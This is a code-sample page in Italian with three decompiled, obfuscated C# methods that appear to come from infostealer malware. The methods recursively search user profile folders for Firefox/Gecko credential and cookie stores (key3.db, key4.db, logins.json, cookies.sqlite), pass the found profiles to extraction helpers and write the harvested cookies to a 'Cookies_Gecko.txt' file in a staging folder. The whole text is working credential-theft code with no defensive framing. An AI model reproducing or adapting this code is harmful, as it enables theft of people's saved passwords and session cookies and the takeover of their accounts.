Esempio n. 1
0
        // Token: 0x06000152 RID: 338 RVA: 0x0000B8D8 File Offset: 0x00009AD8
        public static void smethod_3()
        {
            if (!Directory.Exists(GClass9.string_6 + "\\Browsers"))
            {
                Directory.CreateDirectory(GClass9.string_6 + "\\Browsers");
            }
            List <string> list = new List <string>();

            list.AddRange(Class13.smethod_0(Class13.string_0, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            list.AddRange(Class13.smethod_0(Class13.string_2, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            foreach (string text in list)
            {
                string fullName = new FileInfo(text).Directory.FullName;
                string string_  = text.Contains(Class13.string_2) ? Class13.smethod_13(fullName) : Class13.smethod_14(fullName);
                string string_2 = Class13.smethod_4(fullName);
                Class13.smethod_1(fullName, string_, string_2);
            }
        }
Esempio n. 2
0
        // Token: 0x0600014F RID: 335 RVA: 0x0000B54C File Offset: 0x0000974C
        public static List <string> smethod_0(string string_3, int int_0 = 4, int int_1 = 1, params string[] string_4)
        {
            List <string> list = new List <string>();

            if (string_4 != null && string_4.Length != 0 && int_1 <= int_0)
            {
                List <string> result;
                try
                {
                    foreach (string path in Directory.GetDirectories(string_3))
                    {
                        try
                        {
                            DirectoryInfo directoryInfo = new DirectoryInfo(path);
                            FileInfo[]    files         = directoryInfo.GetFiles();
                            bool          flag          = false;
                            int           num           = 0;
                            while (num < files.Length && !flag)
                            {
                                int num2 = 0;
                                while (num2 < string_4.Length && !flag)
                                {
                                    string   a        = string_4[num2];
                                    FileInfo fileInfo = files[num];
                                    if (a == fileInfo.Name)
                                    {
                                        flag = true;
                                        list.Add(fileInfo.FullName);
                                    }
                                    num2++;
                                }
                                num++;
                            }
                            foreach (string item in Class13.smethod_0(directoryInfo.FullName, int_0, int_1 + 1, string_4))
                            {
                                if (!list.Contains(item))
                                {
                                    list.Add(item);
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                    result = list;
                }
                catch
                {
                    result = list;
                }
                return(result);
            }
            return(list);
        }
Esempio n. 3
0
        // Token: 0x06000151 RID: 337 RVA: 0x0000B6FC File Offset: 0x000098FC
        public static void smethod_2()
        {
            if (!Directory.Exists(GClass9.string_6 + "\\Browsers"))
            {
                Directory.CreateDirectory(GClass9.string_6 + "\\Browsers");
            }
            List <string> list = new List <string>();

            list.AddRange(Class13.smethod_0(Class13.string_0, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            list.AddRange(Class13.smethod_0(Class13.string_2, 4, 1, new string[]
            {
                "key3.db",
                "key4.db",
                "cookies.sqlite",
                "logins.json"
            }));
            foreach (string text in list)
            {
                string fullName = new FileInfo(text).Directory.FullName;
                string string_  = text.Contains(Class13.string_2) ? Class13.smethod_13(fullName) : Class13.smethod_14(fullName);
                string string_2 = Class13.smethod_4(fullName);
                Class13.smethod_7(fullName, string_, string_2);
                string text2 = "";
                foreach (string str in Class13.list_1)
                {
                    text2 += str;
                }
                if (text2 != "")
                {
                    File.WriteAllText(GClass9.string_6 + "\\Browsers\\Cookies_Gecko.txt", text2, Encoding.Default);
                }
            }
        }